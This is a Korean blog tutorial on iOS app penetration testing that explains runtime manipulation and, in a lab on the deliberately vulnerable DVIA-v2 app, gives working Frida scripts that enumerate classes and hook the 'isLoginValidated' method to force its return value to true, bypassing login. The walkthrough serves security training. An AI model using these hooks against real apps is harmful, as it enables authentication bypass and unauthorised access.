가. 런타임 조작(Runtime Manipulation) 이란?
- 런타임 조작이란 디버깅 툴을 이용해 앱이 실행 중인 상태에서 흐름을 조작하여 보안 기능을 우회하는 것을 말한다.
- 인스턴스 변수를 수정하여 로그인(인증) 검사, 탈옥 탐지 기능 등을 우회할 수 있다.
- 인증 값이 맞을 때까지 무차별 대입 공격(brute-force attack)을 수행하는 것도 가능하다.
나. 대응방법
- 아래의 글을 참고하여 디버깅 툴을 이용한 런타임 조작이 불가능하도록 디버깅 방지 기능을 적용한다.
[Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 12강 - 탈옥 탐지 우회(이론 및 대응방법)
다. DVIA-v2 앱을 통한 실습
1. 분석 대상 앱 실행
- 실습을 위해 DVIA-v2 앱을 실행한다.
※ DVIA-v2 어플이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.
2022.07.01 - [Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 04강 - 진단 대상 설치
- 메인메뉴 좌측 상단 메뉴 클릭 → 'Runtime Manipulation' 클릭 → 'START CHALLENGE' 클릭
- 아이디/패스워드 입력 → 'Login Method 1' 클릭
- 입력한 계정정보가 올바르지 않다며 "Incorrect Username or Password" 메시지가 출력됨
- 본글에서는 런타임 조작 공격을 통해 계정정보를 모르더라도 로그인할 수 있도록 인증 기능을 우회해 볼 것이다.
2. 로그인 관련 클래스/메소드 확인
- 분석하고자 하는 앱이 사용하는 클래스를 확인하기 위해 아래와 같은 자바스크립트(javascript) 코드를 PC에서 작성한다.
- 파일 명 : hagsig_runtime.js
* 메모장에 아래의 코드를 입력한 뒤 확장자명을 .js로 저장하면 자바스크립트 파일이 만들어진다.
if(ObjC.available){ //대상이 연결이 되어져 코드실행이 가능한 환경인지 확인
for(var classname in ObjC.classes) //메모리에 올라가있는 클래스를 가져온다
console.log(classname) //가져온 클래스의 이름을 출력한다
}
※ 위 코드를 좀 더 자세히 공부하고 싶다면 아래의 게시글을 참고하여 프리다 문법을 공부하도록 하자.
[Mobile App 취약점 진단/iOS App 진단] - 프리다(Frida) 문법 정리
- PC의 프리다 클라이언트를 이용하여 런타임 조작을 하고자 하는 앱의 이름을 알아낸다.
- 명령어 : frida-ps -Ua
* 앱의 이름 : DVIA-v2
frida-ps -Ua
// U : USB로 연결된 기기를 대상으로 지정한다.
// a : 기기에 설치된 애플리케이션을 확인해준다.
- PC의 프리다 클라이언트를 이용하여 위에서 작성한 자바스크립트 코드를 실행한다.
- 명령어 : frida -U -l [코드경로] [앱이름]
frida -U -l hagsig_runtime.js DVIA-v2
- 명령어 실행 시 앱에 포함된 모든 클래스가 출력된다.
- 출력된 결과가 너무 많아 확인하기가 어렵다.
- 아래의 명령어를 사용하여 클래스중에 Login과 관련된 클래스가 있는지 확인한다.
* 실무에서는 클래스 이름을 Login으로 하지 않았을 확률이 크므로, 결과가 나오지 않을 수도 있다. 바이너리 파일을 분석하여 추측해 내거나, 출력되는 문자열등을 가지고 클래스 명을 추측해 내야한다.
- 명령어 : frida -U -l [코드경로] [앱이름] | find "[검색하고자 하는 클래스 이름]"
frida -U -l hagsig_runtime.js DVIA-v2 | find /i "login"
※ 코드 실행을 중지시키기 위해서는 분석대상인 앱(DVIA-v2)을 디바이스에서 종료시키면 된다.
- 위에서 찾아낸 'LoginValidate' 클래스가 어떤 메소드를 사용하는지 알아내기 위해 아래의 코드를 작성한 뒤 실행한다.
* Objective-C로 이루어진 코드는 프리다(Frida)를 통해서 메소드가 검색이 되지만, 스위프트(Swift)로 이루어진 코드는 메소드 검색이 안된다.
* 스위프트(Swift)로 이루어진 코드는 기드라(Ghidra)를 통해 분석해야 한다.
if(ObjC.available){
var classname = "LoginValidate" //분석하고자 하는 클래스 이름을 지정한다
var methods = ObjC.classes[classname].$ownMethods //클래스가 가지고 있는 기본 메소드를 배열 형식으로 가져온다
for(var i=0; i<methods.length; i++){
console.log(methods[i]) //가져온 메소드정보를 한줄씩 출력한다
}
}
- 명령어 : frida -U -l [코드경로] [앱이름]
frida -U -l hagsig_jailbreak1.js DVIA-v2
- 명령어 실행 시 'LoginValidate' 클래스에서 사용하는 메소드가 출력된다.
- 메소드가 하나밖에 출력이 안되었고, 메소드 이름도 로그인 인증을 하는 기능을 가졌을 것으로 의심이 된다.
* + 는 클래스에 대한 메소드를, - 는 인스턴스에 대한 메소드를 뜻함.
* 'validateCode:viewController:'는 화면 출력과 관련된 View Controller 이므로 무시한다.
3. 로그인 메소드 반환값 변조
- 실제로 'isLoginValidated'이라는 메소드가 로그인 인증을 하는지 알아보고 위해 아래의 코드를 작성한 뒤 실행한다.
if(ObjC.available){
var classname = "LoginValidate"
var methodname = "isLoginValidated" //메소드 이름을 변수에 저장한다
var hook = ObjC.classes[classname][methodname] //클래스명과, 메소드명을 배열형식으로 넣어준다.
Interceptor.attach(hook.implementation,{ //메소드를 후킹하기위한 준비(implementation:해당 메소드를 실행)
onLeave:function(retval){ //반환값을 확인하기 위해 사용.
console.log("[*] Class Name : " + classname) //클래스명 출력
console.log("[*] Method Name : " + methodname) //메소드명 출력
console.log("[*] Type of return value : " + hook.returnType) //반환값의 형식을 출력한다.
console.log("[*] Return Value : " + retval) //반환값을 출력한다.
}
})
}
- 앱에서 'Login Method 1' 클릭 시 반환값이 출력된다.
- 반환값은 참과 거짓을 판별할 때 사용하는 변수 bool 이며, 0x0(False)이 반환되는 것을 알 수 있다.
- 반환값 0x0을 0x1으로 변조할 경우 로그인 인증 기능을 우회할 수 있을 것 같으므로 아래의 코드를 작성뒤 실행한다.
* 변조하고자 하는 값을 포인터 형식(ptr)으로 생성해야 한다. 그래야지만 메모리에 올라가서 값을 불러와줄 수 있기 때문이다.
if(ObjC.available){
var classname = "LoginValidate"
var methodname = "isLoginValidated"
var hook = ObjC.classes[classname][methodname]
Interceptor.attach(hook.implementation,{
onLeave:function(retval){
console.log("[*] Class Name : " + classname)
console.log("[*] Method Name : " + methodname)
console.log("[*] Type of return value : " + hook.returnType)
console.log("[*] Return Value : " + retval)
var new_retval = ptr("0x1") //변조하고자 하는 값을 변수에 저장
retval.replace(new_retval) //변수에 저장한 값으로 반환값을 변조
console.log("[*] New Return Value : " + retval) //변조된 반환값을 출력
}
})
}
- 자바스크립트 파일을 실행한 뒤 'Login Method 1' 버튼을 클릭한다.
- "Congratulations"이라는 메시지가 출력되며 로그인 인증 기능을 우회한 것을 확인할 수 있다.
'Mobile App 취약점 진단 · 모의해킹 > iOS App 취약점 진단 · 모의해킹' 카테고리의 다른 글
[iOS App 진단] 13강 - 런타임 조작(로그인/인증 우회)_실습3 (0) | 2023.10.20 |
---|---|
[iOS App 진단] 13강 - 런타임 조작(로그인/인증 우회)_실습2 (0) | 2023.10.18 |
[iOS App 진단] 12강 - 탈옥 탐지 우회(실습5) (0) | 2023.10.18 |
[iOS App 진단] 12강 - 탈옥 탐지 우회(실습4) (0) | 2023.10.18 |
[iOS App 진단] 12강 - 탈옥 탐지 우회(실습3) (0) | 2023.10.17 |